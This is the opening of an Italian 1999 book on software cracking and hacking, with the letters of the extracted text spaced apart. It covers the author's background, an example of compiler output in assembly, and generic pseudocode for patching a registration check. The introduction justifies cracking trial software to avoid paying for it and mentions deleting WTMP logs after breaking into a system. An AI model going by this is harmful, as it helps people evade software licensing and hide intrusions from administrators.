Sei sulla pagina 1di 991

Fl avi o Ber nar dot t i Al esandr i a www. ber nar dot t i .

i t







CRACKING & HACKING






Tecni che, pr ogr ammi e conoscenze per i l cr acki ng dei pr ogr ammi .
Teor i a del l assembl er .
Teor i a dei debugger s, di sassembl at or i ecc.
Teor i a del sof t war e i n r et e.
Teor i a act i veX e l i br er i e.
I nt er r upt s.
Funzi oni API di Wi ndows.









QUESTO VOLUME NON VIOLA NESSUNA LEGGE NEPPURE MORALE.

Quest o vol ume, al cont r ar i o di quant o f ar ebbe pensar e i l t i t ol o, NON VIOLA NESSUNA
LEGGE i n quant o non f a r i f er i ment o a nessun pr ogr amma i n modo speci f i co. I
pr ogr ammi ad esempi o sono st at i camuf f at i ed i mpossi bi l e r i sal i r e al l or i gi ne.
Le t abel l e e gl i scr i t t i r i por t at i sono espr essament e DI PUBBLICO DOMINIO O ANONIMI.
I n ogni caso sono r i pr odot t i nel l a l or o f or ma or i gi nal e compr esa l a l i ngua.

1999 F. Ber nar dot t i - f l avi o@ber nar dot t i . i t

INTRODUZIONE


A 14 anni di di st anza ecco quant o avevo pr omesso sul mi o vol ume di
pr ogr ammazi one i n C a basso l i vel l o dat at o 1986.
Ho r i cevut o per anni t el ef onat e dal l e per sone che l o avevano l et t o l e qual i mi
chi edevano a che punt o er a quant o avevo pr omesso nel l e ul t i me pagi ne.
A di r e i l ver o nel f r at t empo ho scr i t t o al t r i vol umi sul l a pr ogr ammazi one i n C
i n ambi ent e Uni x, sul l a pr ogr ammazi one i n J ava ma i nut i l e . . . i l vol ume che
aveva col pi t o er a quel l o dest i nat o agl i smanet t oni del basso l i vel l o.
Ok.
Non pr opr i ament e l a cont i nuazi one di quel l o, i n quant o a quei t empi i l vol ume
t r at t ava l e t ecni che di scr i t t ur a dei TSR i n C ma or a sot t o Wi ndows 2000 di TSR
se ne par l a ben poco.
I n compenso i l basso l i vel l o, pi basso di cosi si muor e, r i nasce nel mondo dei
cr acker s ( non del l a Pavesi ) i qual i seguono l e t r ame i ngar bugl i at e dei sof t war e
per aut of i nanzi ar si i r r aggi ungi bi l i , i n al t r o modo, l i br er i e e sof t war e var i .
Un buon si st ema di svi l uppo cost a svar i at i mi l i oni .
3. 000. 000 ci r ca per Devel opper St udi o Ent er pr i se.
800. 000 per l a l i br er i a che gest i sce l o st r at o dat abase ecc.
900. 000 per quel l a che gest i sce l e l i st box.
E chi svi l uppa i n J ava o C++ si cur ament e ha anche bi sogno di un edi t or ht ml da
L. 1. 000. 000 ecc.
E di segni l egat i al l a gr af i ca dove l i met t i amo ?
Al t r i 800. 000 per un Fi r ewor k.
Gl i st udent i e t ut t i col or o che non possono passar e sot t o i l budget del l azi enda
i l cost o del sof t war e sar ebber o dest i nat i a guar dar e.
Ed i nvece no !
La t ecni ca del l aut of i nanzi ament o f unzi ona.
Gr azi e a I nt er net ci sono mi gl i ai a di sof t war e l i mi t at i a 60 gi or ni o si mi l i a
che sono l i pr ont i ad accet t ar e l a sf i da del cr ackat or e f ol l e.
Col ui che pr oduce sof t war e compr a i pacchet t i or i gi nal i per ch i mpensabi l e
di st r i bui r e un pr odot t o cr eat o con sof t war e cr ackat i .
Chi gr i da al l i ngi ust i zi a per i l f at t o che qual che smanet t one si aut of or ni sce
di sof t war e per ch non gr i da al l i ngi ust i zi a quando i nvece si spende dei mi l i oni
per t r ovar si nel l e mani dei sof t war e scr i t t i da cani e dest i nat i a cani ?
I o per sonal ment e ho r eso r i cche sof t war e house amer i cane e Feder al Expr ess
compr ando cent i nai a e cent i nai a di sof t war e con i l sol o scopo di pr ovar l i .
Un al t r a cosa che sper o vi vament e che i l t est o non vi ai ut i ul t er i or ment e a
r ender vi pi st r ani , anche per ch pap e mamma sono gi abbast anza per pl essi
oggi come oggi senza che dobbi at e peggi or ar e ul t er i or ment e ! ! ( Scher zo! ! )
I l consi gl i o mi gl i or e che vi posso dar e comunque quel l o di mant ener e un
br i ci ol o di umi l t pensando che spesso dal l a par t e del l e pr ot ezi oni esi st ono
pr of essi oni st i ver ament e br avi .
Quest o non si gni f i ca che al cuni pr ogr ammi non si possono sbl occar e ma sol o che
bi sogna sempr e val ut ar e se i l t empo per so val e i l gi oco.
Si cur ament e pot er et e f ar e di qual si asi caso una sf i da e se l e cose st anno cos
non c da f ar e neppur e un' al t r a par ol a.
Se i nvece per spr ot egger e un f or mat t at or e di sor gent i C ci vuol e un mese, f or se
megl i o che l asci at e per der e e i l t empo l o i mpi egat e a r i scr i ver l o per vost r o
cont o.
Nel 1981 i ni zi ai a l avor ar e vi ci no a si st emi che a quei t empi possedevano l e
di mensi oni di una st anza.
Far e i l consul ent e i n i nf or mat i ca si gni f i cava dover af f r ont ar e pr oget t i l egat i
ai set t or i pi di spar at i ovver o quel l i per cui i cl i ent i t i cont at t avano.
Se ar r i vava l a Fi at e necessi t ava del pr ogr amma di cont r ol l o del l a qual i t
dovevi af f er mar e i n par t enza di conoscer e l ar goment o e successi vament e dovevi
sudar e set t e cami ci e per f ar t i una cul t ur a suf f i ci ent e a pot er r i sol ver e i l
pr obl ema.
Appunt o per f ar e quest o bi sognava aver e i l sof t war e gi ust o al moment o gi ust o ed
quest o i l mot i vo del l e cent i nai a di acqui st i .
Quant i pacchi ma PACCHI i n mai uscol o mi sono pr eso !
Al l or a l i cosa si doveva f ar e ?
Mi l i oni spesi per sof t war e che se f osser o st at i di st r i bui t i gr at i s ci si sar ebbe
dovut i i ncazzar e per aver speso 900 L per ogni f l oppy di suppor t o.
Comunque l a l ogi ca di anni f a l a st essa che ho oggi .
Quest o vol ume vuol e di st r i bui r e i nf or mazi oni e non sof t war e cr ackat i .
Reper i r e l e i nf or mazi oni , anni f a, er a i mpor t ant i ssi mo anche per ch ver so l a
met degl i anni 80 i vol umi er ano r ar i ssi mi .
Da qui mi venne l i dea di cr ear e un qual che cosa che pot esse per met t er e a
per sone con i nt er essi comuni di di al ogar e e qui ndi di scambi ar si l e esper i enze.
Per quest o nacque l i dea di f ondar e con al cuni al t r i l a r et e Fi doNet i t al i ana.
Per ci r ca 8 anni sono st at o i l secondo nodo i t al i ano dopo quel l o di Gi or gi o
Rut i gl i ano di Pot enza.
Er a i l 1985 e l a t el emat i ca vi aggi ava con i suoi 300 bauds pr opr i o al l i ni zi o
del suo cammi no.
La st ampa ci pr ese come un f at t o i nnovat i vo.
I n I t al i a non esi st evano ancor a si st emi t el emat i ci pubbl i ci e gr at ui t i come
i nvece i n Amer i ca er a t empo che c er ano.
E come t ut t e l e cose nuove venne vi st a anche con del l e ot t i che sbagl i at e ovver o
per anni ci f u i mput at o di esser e un covo di hacker s.
Chi ar ament e l a r et e suppor t ava l a messaggi st i ca per cui non si pot eva negar e che
pot eva esser e anche usat a per scambi ar e passwor ds di si st emi pr i vat i .
Non er a comunque possi bi l e el i mi nar e i l pr obl ema per ch non er a possi bi l e
l egger e t ut t i i messaggi che ci r col avano sul l a r et e st essa.
Chi ar ament e poi chi vi ol ava i si st emi i nf or mat i ci possedeva un modem e qui ndi
ut i l i zzava anche l e BBS.
Per st ar e sul l a r et e scr i ssi i pr ogr ammi i n C denomi nat i I TALI NK ( 1986) che
gest i vano t ut t e l e sezi oni cl assi che di una BBS Fi doNet ed i n pi di sponevano di
una sezi one per l e i nt er r ogazi oni su basi dat i .
I n t ut t i quest i anni venni a conoscenza di quel l a che er a l a r eal t hacker anche
se l a mi a vi si one non quel l a negat i va possedut a da mol t i anzi . . . .
Per me l hacker er a una per sona che doveva di spor r e di conoscenze i nf or mat i che
mol t o maggi or i del l a medi a ed er a anche l ogi co i n quant o per pot er t r ovar e i
buchi dei si st emi bi sognava conoscer l i mol t o bene.
Nel 1987 par t eci pai anche ad una seconda r et e nat a i n quel per i odo che si
suppor t ava sul si st ema di Uni x UUCP.
Al gi or no d oggi con l e l ogi che Wi ndows per set t ar e una r et e pr emi due t ast i e
scr i vi due numer i .
Set t ar e UUCP er a i nvece una cosa da pazzi .
Deci ne e deci ne di f i l e con dat i i ncr oci at i t r a l or o con cent i nai a di
i nf or mazi oni da set t ar e.
I l f i l e xxx cont eneva i dat i dei modemi l cui numer o doveva esser e r i por t at o nel
f i l e yyy i l qual e cont eneva l a vel oci t che doveva esser e speci f i cat a nel f i l e
zzz e cos vi a.
Mol t i cr ack ai si st emi f ur ono f at t i usando i bugs del si st ema uucp.
I n pr at i ca conoscendo i l mai l er di UUCP veni va spedi t o un messaggi o con i l
sor gent e del f i l e usat o per cr ear e l a door i l qual e, una vol t a gi unt o, usando
l esecut or e sempr e di UUCP veni va compi l at o ed esegui t o.
E quest o er a sol o un esempi o di f at t i che comunque denot avano conoscenze mol t o
pr of onde dei si st emi .
Di ci amo che i n ogni caso t ut t e l e t ecni che di hacker aggi o sono quasi sempr e
basat e sul l i nesper i enza di al cuni si st emi st i .
Mol t i buchi sono accent uat i dal f at t o che mol t i si st emi st i usano i l l or o accesso
come r oot per at t i var e pr ocedur e at t e a gest i r e f unzi oni pubbl i che.
Per esser e pi chi ar i possi amo por t ar e l esempi o dei ser ver WEB dove i pr ogr ammi
di gest i one HTTP vengono l anci at i come pr ocessi di pr opr i et r oot .
I n quest o caso medi ant e al cuni caval l i di t r oi a ed al t r e t ecni che basat e su
pr obl emi di FTP e del gest or e del l e EMAI L possi bi l e cr ear e accessi non
aut or i zzat i ai si st emi .
Una del l e f asi f ondament al i del l hacker aggi o st a nel l a capaci t di el i mi nar e
t ut t e l e t r acce di accesso al si st ema.
Dopo esser e ent r at i i n si st emi Uni x dovr esser e cur a del l hacker quel l a di
cancel l ar e i f i l e WTMP ecc. ed i n par t i col ar e modo non dovr anno esser e usat e
cer t e pr ocedur e adat t e ad usci r e dal si st ema hacker at o.
Comunque se i l super user del si st ema non anal i zza i f i l es di l og al l or a non
esi st e nessun pr obl ema anche nel caso i n cui l hacker non f acci a spar i r e l e
t r acce.
I l vol ume di i nt i t ol a hacker and cr acker i n quant o sono due cose di f f er ent i .
Hacker si gni f i ca acceder e ai si st emi r emot i senza<a di spor r e del l e
aut or i zzazi oni necessar i e.
Cr acker si gni f i ca el i mi nar e l e pr ot ezi oni e l e l i mi t azi oni dei pr ogr ammi
commer ci al i di st r i bui t i .
I n ogni caso bi sogna sot t ol i near e l a di f f er enza t r a hacker e i mbeci l l i .
I l ver o hacker ut i l i zza l e t ecni che st udi at e per gi unger e ai suoi f i ni sol o per
aument ar e i l suo bagagl i o cul t ur al e ed i n ogni caso non per r ecar e danni ai
si st emi at t accat i .
Mol t i hacker cor r et t i , ovver o quel l i che si at t engono al l a ver a f i l osof i a,
spesso l asci ano messaggi al si st emi st a avvi sandol o dei buchi del suo si st ema
ai ut andol o ad el i mi nar l i .
Cancel l ar e f i l es o f ar e danni i n gener al e si gni f i ca sol o aument ar e i l pr opr i o
bagagl i o di demenzal i t .
Quando una per sona di spone di un aggr essi vi t accent uat a si gni f i ca che
psi col ogi cament e ha dei pr obl emi anche per ch una per sona equi l i br at a con se
st esso non di spone di quel senso che l o f a sent i r e gr ande sol o quando at t acca i l
suo pr ossi mo.
Usat e l e vost r e capaci t per ai ut ar e gl i al t r i .
Se f at e cr acki ng su qual che pr ogr amma non di vul gat el o i n f or mat o spr ot et t o i n
quant o f ar est e un danno al l a casa che l o ha pr odot t o.
Ri vol t at e sempr e su di voi quel l o che st at e compi endo e si at e cor r et t i a pensar e
se quel l o che st at e f acendo vi f ar ebbe pi acer e se f osse f at t o a voi .
I n caso negat i vo non f at el o i n quant o cer t e cose ai ut ano sol o a f ar sal i r e i
pr ezzi del sof t war e e a r omper e l e scat ol e a per sone che hanno f ami gl i e da
mant ener e.
Si at e sempr e modest i e non pensat e che met t er e su I nt er net un sof t war e con l a
scr i t t a cr acked by . . . vi possa el egger e a r i cer cat or i del MI T.
Ho conosci ut o t ant i pr ogr ammat or i ed anal i st i con sensi di super i or i t
pazzeschi .
I n gener e er ano buf al oni che pensavano che dopo aver t r ovat o con i l debugger
l e par ol e segr et e per di vent ar e i nvi nci bi l i a DOOM possedevano l e st esse
capaci t dei pr oget t i st i che hanno messo al mondo J ava o si mi l i a.
Consi der ar vi medi ocr i vi per met t er di evol ver vi ed i n par t i col ar e modo
r i conoscer e l e i nf i ni t e maggi or i capaci t di al cuni vi per met t er di aver e dei
model l i a cui i spi r ar si e da r aggi unger e.
I o per sonal ment e ho sempr e avut o Mar vi n Mi nsky ( padr e del l AI ) e K & R ( i padr i
del Li nguaggi o C) come mi t i e t r aguar di ( per me i r r aggi ungi bi l i ) .
Consi der at e sempr e l a comuni cazi one t r a per sone con gl i st essi i nt er essi .
Quest o i l met odo mi gl i or e per evol ver si .
Si di ce che l uomo l ani mal e pi i nt el l i gent e pr opr i o per ch ha i nvent at o i l
l i nguaggi o al f i ne di comuni car e agl i al t r i del l a speci e l e pr opr i e esper i enze.
Dat o che f ar e cr acki ng o hacki ng su si st emi o su pr ogr ammi si gni f i ca sf r ut t ar e
l a pr opr i a i nt el l i genza i n quest o vol ume ver r anno most r at e l e t ecni che usat e ma
non ver r f at t o r i f er i ment o a nessun pr odot t o speci f i co.
Non ver r anno neppur e comuni cat i numer i di ser i e e neppur e passwor ds per acceder e
a si st emi r emot i .
Se vi i nt er essano sol t ant o quel l e megl i o che l e r i cer chi at e t r ami t e messaggi
su I nt er net .
Nel vol ume t r over et e nozi oni t eor i che l egat e al l uso di cer t i l i nguaggi
( Assembl er e C) , a cer t i sof t war es qual i di sassembl at or i e debugger , a
nozi oni smi di r et e ed ai met odi per ut i l i zzar l e t r ami t e J AVA.
Di ci amo che i l vol ume vi i ndi r i zzer ver so i l met odo mi gl i or e per passar e l e
not t i i nsonni .
Come vedr emo per cr ackar e i pr ogr ammi si devono posseder e conoscenze che
spazi ano i n mol t i set t or i e si cur ament e nei pi compl essi .
Quest o vol ume vuol e ser vi r e a dar vi un i nf ar i nat ur a d al cune t eor i e e comunque
vi ser vi r a passar e di l i vel l o.
Benvenut i nel mondo del cr acki ng f ai da t e.















Se il volume vi piaciuto potete richiedere labbonamento agli altri volumi
sempre scritti dal sottoscritto.
Labbonamento vi costa L. 30.000.
Appena ricevute vi verr inviato immediatamente un altro volume di 200 pagine
sulla programmazione avanzata in Java.



BERNARDOTTI FLAVIO
VIA TRENTO, 10
15040 MONTECASTELLO (AL)
Tel. 0347 5610956
CONOSCENZE TEORICHE E PRATICHE


Un f amoso det t o af f er ma che t ut t e l e st r ade por t ano a Roma.
I nf or mat i cament e par l ando pot r emmo t r asf or mar e i l t ut t o i n t ut t i i l i nguaggi
por t ano al l Assembl er .
Un ambi t o t r aguar do del l i nf or mat i ca e sempr e st at o quel l o di cr ear e un
l i nguaggi o si mi l e a quel l o nat ur al e che per met t esse di i ndi car e ai comput er s l e
f unzi oni da svol ger e par l andogl i sempl i cement e i nsi eme ed ut i l i zzando per l a
cr eazi one del l e f r asi l a st essa si nt assi e semant i ca del l a nost r a l i ngua.
I l sof t war e necessar i o a svol ger e un compi t o di quest o t i po sar ebbe st at o una
cosa t al ment e compl essa e gr ossa che l a vel oci t d esecuzi one dei pr ogr ammi
sar ebbe st at a i mpossi bi l e.
Fi l osof i cament e mi vi ene i l dubbi o che se si f osse gi unt i ad un punt o si mi l e
l uomo sar ebbe di vent at o un def i ci ent e a causa del l assopi ment o ment al e che ci
sar ebbe st at o conseguenza a quest o f at i di co l i nguaggi o.
Oggi l uomo conqui st a i suoi obbi et t i vi massacr andosi i di eci mi l i ar di di
neur oni che ha n t a capa.
Comunque non quest o l uogo per f ar e di scor si di quest o t i po.
For t unat ament e l uomo mangi a pane e past i cci per cui ut i l i zza l a sua
i nt el l i genza per cr ear sene ogni gi or no di nuovi e pi compl essi .
Pi di vent a compl esso i l pr obl ema del l i nt er pr et azi one del l i nguaggi o pi
di vent a gr osso ed i mpacci at o i l sof t war e del l i nt er pr et e o del compi l at or e.
Pur t r oppo l el et t r oni ca sor da o per l omeno capi sce sol o una sot t ospeci e di
codi ce mor se che i l l i nguaggi o bi nar i o.
Quest o concet t o f aci l e da compr ender e vi st o che el et t r i cament e l o st at o l ogi co
0 ( zer o) pu esser e r appr esent at o da una mancanza di segnal e ment r e l o st at o
l ogi co 1( uno) da quel l o i n cui i l segnal e pr esent e.
Er r oneament e negl i anni si sempr e consi der at a l i nf or mat i ca come l a sci enza
dei comput er s.
L i nf or mat i ca, come di ce i l nome, l ar t e di anal i zzar e i l mondo i nt or no a noi
( i nf or mazi oni ) r i cavandone i model l i mat emat i ci compost i da dat i descr i t t i vi ,
quant i t at i vi e qual i t at i vi , e da i st r uzi oni i ndi r i zzat e a mani pol ar l i .
L ar t e del l a pr ogr ammazi one nasce sempr e dal l anal i si dei si st emi r eal i .
I n al t r e par ol e i si st emi vengono osser vat i r i cavandone i dat i di sponi bi l i .
Dopo aver l i scor por at i si ar r i va al l a f ase del l a cr eazi one degl i al gor i t mi
ovver o del l e sequenze di oper azi oni che devono esser e appl i cat e ai dat i per
r aggi unger e una cer t a f i nal i t .
Dal l a nasci t a del l a sci enza i nf or mat i ca i si st emi anal i zzat i sono di vent at i
sempr e pi compl essi e qui ndi l e met odol ogi e anal i t i che hanno dovut o adat t ar si
al l e sempr e maggi or i compl i cazi oni concet t ual i .
Anche i l i nguaggi di pr ogr ammazi one, che al t r o non sono che i si st emi per
cr ear e i model l i esegui bi l i su comput er s, hanno dovut o adeguar si ai cambi ament i .
Pr endi amo ad esempi o i l i nguaggi a par t i r e dal per i odo commer ci al e
del l i nf or mat i ca t r al asci ando l a pr ei st or i a l egat a al l i nf or mat i ca esegui t a su
si st emi da cent r i di cal col o.
I l t i po d i nf or mat i ca che ho appena def i ni t o par t e dal 1981 anno i n cui l I BM
ha commer ci al i zzat o i l pr i mo per sonal ovver o i l PC con pr ocessor e 8088 a 4. 77mhz
con l a st upef acent e quant i t di memor i a di 64Kbyt es ( non di ment i chi amoci del
f l oppy a 360 Kbyt es) .
I l basi c er a r esi dent e su ROM anche se er a possi bi l e car i car ne una ver si one pi
evol ut a da f l oppy.
I l GwBasi c sembr una cosa t er r i f i cant e a conf r ont o del Basi c dat o con PcDos.
N. Wi r t h f ondat or e del l a Bor l and f ece l a sua f or t una con i l Tur bo Pascal un
compi l at or e ext r a vel oce che st ava i n 64 Kbyt es di di sco.
La nasci t a del l a pr ogr ammazi one st r ut t ur at a f u appunt o sanci t a dal Tur bo Pascal
e dal C.
I pr i mi esempi di pr ogr ammazi one obj ect or i ent ed f ur ono l egat e al l Ei f f el f i no
a gi unger e al l o Smal l t al k e al C++.
Comunque t ut t i i si st emi al l a f i ne dovevano esser e t r adot t i i n Assembl er per
pot er esser e esegui t i .
L evol uzi one del l har dwar e por t anche al l espansi one del l Assembl er dei
si st emi .
Pensat e che i pr i mi pr ocessor i di sponevano come i st r uzi oni sol o del l a somma e
del l a sot t r azi one per cui mol t i pl i cazi one e di vi si one dovevano esser e esegui t e
gr azi e a sequenze di quest e due e ogget t i come l o st ack er ano i nser i t i , f i ssi ,
dent r o ai pr ocessor i st essi .
La di f f i ci l e vi t a del l Hacker e l egat a a quest o l i nguaggi o anche se l a
conoscenza di al t r i l i nguaggi f aci l i t a i l t ut t o i n quant o l a t r aduzi one i n
Assembl er mant i ene sempr e una cer t a f or ma l egat a al compi l at or e che l ha
gener at a.
Spesso possi bi l e sf r ut t ar e i l compi l at or e per gener ar e pr ogr ammi i n Assembl er
ed i n par t i col ar e quest a t ecni ca, che or a vedr emo, ut i l e per t ogl i er si dei
dubbi .
Che si gni f i ca t ogl i er si dei dubbi ?
Spesso debuggando cer t i pr ogr ammi , der i vat i da l i nguaggi ad al t o l i vel l o, non si
r i esce a capi r e qual i cost r ut t i del l i nguaggi o or i gi nal e hanno or i gi nat o quel l e
l i nee Assembl er .
I l compi l at or e Vi sual C ( i l compi l at or e Mi cr osof t C) ha sempr e possedut o un f l ag
che per met t e di gener ar e i l f i l e i n MACRO ASSEMBLER del pr ogr amma i n C
anal i zzat o.
Pr endi amo i l seguent e pr ogr amma, che esegue l a copi a di un ar r ay di 10 el ement i
dent r o ad un al t r o, come esempi o :

struct X {
int a[10];
};

int array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int array_due[10];

void copy_array(void)
{
(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}

Dando al compi l at or e i l comando :

cl /c /Fatest.asm test.c

( / c = non esegui r e i l l i nk / Fanome. asm= gener a asm)
Ed ecco come st at o t r adot t o :

TITLE text.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC _array_uno
_DATA SEGMENT
COMM _array_due:DWORD:0aH
_array_uno DD 01H
DD 02H
DD 03H
DD 04H
DD 05H
DD 06H
DD 07H
DD 08H
DD 09H
DD 00H
_DATA ENDS
PUBLIC _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
push ebp
mov ebp, esp
push esi
push edi
; Line 10
mov ecx, 10 ; 0000000aH
mov esi, OFFSET FLAT:_array_uno
mov edi, OFFSET FLAT:_array_due
rep movsd
; Line 11
pop edi
pop esi
pop ebp
ret 0
_copy_array ENDP
_TEXT ENDS
END

Vedi amo or a l e conoscenze che l hacker deve posseder e per ar r i var e al suo
t r aguar do.
Ri cor do sempr e che quest a at t i vi t una sf i da al l i nt el l i genza al t r ui .
I ngegner i del sof t war e st udi ano i met odi per codi f i car e e nasconder e cer t e
f unzi oni ment r e gl i al t r i f acendo dei t r ace, a vol t e al l uci nant i , devono
r i cost r ui r e l a l ogi ca al t r ui cer cando di r i cr ear e gl i al gor i t mi di codi f i ca.
Tant e sono l e conoscenze che bi sogna posseder e per non per der si i n quest o
l abi r i nt o.
Pr ogr ammi , debugger s, Assembl er , l i nguaggi ecc.
I n quest o vol ume cer cher di t r at t ar e t ut t o quel l o che ser ve anche se, come ho
gi det t o, non si t r at t a di un manual e speci f i co di ogni ar goment o.
Gi l ho det t o, qui l o r i pet o ed i n f ut ur o l o r i pet er ancor a che non t r over et e
r i f er i ment i a pr ogr ammi speci f i ci anche per ch i l vol ume non si i nt i t ol a
Spr ot eggi amo Pi ncopal Sof t . .
Vogl i o che quest o vol ume r i manga nel l a l egal i t anche se i pi ant agr ane avr anno
da f ar ci del l e pol emi che anche per ch si cur ament e non capi r anno che l o scopo del
vol ume quel l o di cer car e di di vul gar e al cune conoscenze t ecni che.
I nol t r e non avr ebbe al cun senso f ar e r i f er i ment i pr eci si a pr ogr ammi anche
per ch gl i i nt er essi mi ei di ver gono da quel l i di un al t r o per cui si cur ament e
pot r ebbe non esser ci i nt er esse nei conf r ont i del sof t war e che ut i l i zzo
per sonal ment e.
Ol t r e a ci non avr ebbe neppur e senso f ar e un vol ume con r i por t at e l e
spr ot ezi oni di n pr ogr ammi .
Per pr i ma cosa per ch da un gi or no al l al t r o cambi ano i si st emi di gest i one dei
demo.
Un al t r o mot i vo che gi esi st e i l si t o ASTALAVI STA che r i por t a un mot or e di
r i cer ca per l e par ol e e i si st emi di cr ack per cui se vi i nt er essasse un
sof t war e per r ender e ef f et t i vo un cer t o demo f ar est e si cur ament e pr i ma a
col l egar vi l i .
I n quest o vol ume t r over et e nozi oni smi r el at i vi a qual si asi ar goment o a par t i r e
dal l assembl er per gi unger e a J ava ed ai di sassembl at or i .
Un cosa che f u det t a r el at i vament e al vol ume che scr i ssi 15 anni f a er a che
veni vano r i por t at i un numer o ver ament e gr osso di i nf or mazi oni .
I n quest o vol ume, al meno come t i pol ogi a, vengono r i por t at e ancor a pi not i zi e
ut i l i .
Ri t or nando al di scor so r el at i vo al l a pi ena l egal i t di quest o vol ume posso
ancor a di r e che al cune t abel l e r eper i t e t r a gl i scr i t t i t ecni ci sono PUBLI C
DOMAI N e non pr ovengono da vol umi e manual i sogget t i a Copyr i ght .
I n ogni caso al cune t abel l e sono r i mast e or i gi nal i per due mot i vi .
Spesso l a t r aduzi one di scr i t t i t ecni ci por t a a st r ane i nt er pr et azi oni e
comunque i n ogni caso t r at t andosi di scr i t t i or i gi nal i con l a di sponi bi l i t ad
esser e di st r i bui t i nel l a sua f or ma or i gi nal e, non ho vol ut i modi f i car l i neppur e
nel l a l i ngua.
Le par t i i n l i ngua or i gi nal e comunque sol o r el at i va ad al cune l i st e e t abel l e
e non a scr i t t i descr i t t i vi r el at i vi a nozi oni smi t ecni ci .
I l vol ume i ndi r i zzat o a per sone che di spongono gi di basi i nf or mat i che l e
qual i si cur ament e mast i cano l i ngl ese megl i o di quant o mast i chi no l i t al i ano.
Quant e vol t e ho i mpr ecat o per t r aduzi oni pazzesche l e qual i necessi t avano del
r eper i ment o dei document i or i gi nal i per r i usci r e a capi r e di cosa si par l ava.
Per pr i ma cosa di amo un occhi at a ad un ar goment o che pu sembr ar e banal e ma che
spesso f ondament al e per l a r i usci t a del l obbi et t i vo.
Quando downl odi amo un pr ogr amma che possi ede un si st ema per i l suo f unzi onament o
l i mi t at o ad un cer t o per i odo, si cur ament e al suo i nt er no possi ede una par t e che
per met t e di r egi st r ar e i l sof t war e el i mi nandogl i t ut t e l e l i mi t azi oni i ni zi al i .
Quest e r out i ne possono esser e da mol t o sempl i ci a enor mement e compl esse.
Modul i sof t war e commer ci al i dest i nat i a quest i compi t i possi edono compl i cazi oni
sof t war e not evol i t r a cui cr ypt ogr af i a del sof t war e e t ant e al t r e t r ovat e degl i
i ngegner i del l e sof t war e house che l hanno pr odot t o.
Modul i come VBOX ecc. sono comuni .
A chi unque sar capi t at o di veder e i n aper t ur a pr ogr ammi l a di al og i n cui si
avvi sa dei gi or ni ancor a a di sposi zi one del sof t war e i n modal i t demo e sul
qual e si cur ament e esi st e i l pul sant e per i nser i r e i l codi ce e qui ndi r egi st r ar e
i l sof t war e.
Pr ogr ammi come l e Nor t on Ut i l i t i es, quel l i Macr omedi a ecc. ci r col ano
t r anqui l l ament e af f i dando a quest e ut i l i t y l a si cur ezza di l or o st essi .
Quest i modul i gener al ment e si at t engono a quest e r egol e che st abi l i scono i l
f l usso del sof t war e.
Quando pr emet e i l t ast o r egi st r a vi compar e l a mascher a i n cui gener al ment e
vi ene chi est o i l nome e i l codi ce.
Successi vament e avver r :

(Original)

A ESEGUI LA COMPARAZIONE DI QUANTO INSERITO CON I CODICI CORRETTI
B SE IL CODICE NON E CORRETTO VAI AL PASSO D
C MOSTRA IL RINGRAZIAMENTO PER IL CODICE CORRETTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

A quest o punt o l e nost r e r ei ngeni er i zzazi oni del sof t war e possono segui r e
di ver se vi e.
La f or ma pi br ut al e e l a pi sempl i ce quel l a che cambi a sol o i l compor t ament o
che i l sof t war e t i ene nel caso di non cor r et t ezza del codi ce.
Nel l a seconda r i ga l or i gi nal e di ceva SE CORRETTO VAI A D ment r e or a di ce SE
SCORRETTO VAI A D.

(CHANGING BYTES)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE INCORRETTO VAI A D
C MOSTRA Il RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Al cune vol t e esi st e un sol o numer o cor r et t o con i l vost r o nome i nser i t o e qui ndi
possedet e i l 99. 99%del l e possi bi l i t che quel l o i nser i t o non vada bene.
I n quest o caso pot et e modi f i car e l a l ogi ca i n:

(reverse the condiction)

A ESEGUI LA COMPARAZIONE Del CODICE
B SE NON CORRETTO NON ANDARE A D
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Una t er za t ecni ca l a seguent e:

(One way conndictions)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE NON CORRETTO VAI A C
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

L ul t i ma met odol ogi a.

(Tricky condictions)

A ESEGUI LA COMPARAZIONE DEL CODICE
B SE NON CORRETTO VAI A D
C MOSTRA IL RINGRAZIAMENTO E VAI A D
D CHIUDI IL BOX E TORNA AL PROGRAMMA

Vogl i o sot t ol i near e che non sempr e t ut t e l e met odol ogi e f unzi onano anzi : al cune
vol t e sol t ant o un met odo pu esser e appl i cat o.
Vedi amo or a di el encar e l e t i pol ogi e di conoscenze e i t i pi di pr ogr ammi che
bi sogna aver e e saper ut i l i zzar e.
Segui r un el enco dei pr ogr ammi con al cune descr i zi oni aggi unt i ve.

Linguaggio Assembler

La f ase di debug ovver o quel l a i n cui si segue passo a passo l e i st r uzi oni di un
pr ogr amma per i dent i f i car ne al cuni punt i l egat i al l a pr ot ezi one avvi ene a
par t i r e dal l assembl er .
I nol t r e l e i st r uzi oni che devono esser e i nser i t e per modi f i car ne i l
f unzi onament o devono esser e codi f i cat e sempr e i n asm.
Sono anche r i chi est e l e conoscenze r el at i ve ai si st emi oper at i vi usat i dat o che
mol t e f unzi oni come ad esempi o l a l et t ur a e l a scr i t t ur a su di sco ecc. vengono
spesso esegui t e t r ami t e chi amat e agl i i nt er r upt s del OS o medi ant e chi amat e di
si st ema.
Nel caso i n cui l a met a si a quel l a di at t i var e pr ogr ammi pr ot et t i o cose di
quest o t i po al l or a l e conoscenze si l i mi t er anno al l e f unzi oni Bi os e Dos.
Quando i nvece si cer ca di gi unger e ad apr i r e por t e i n si st emi r emot i al l or a l e
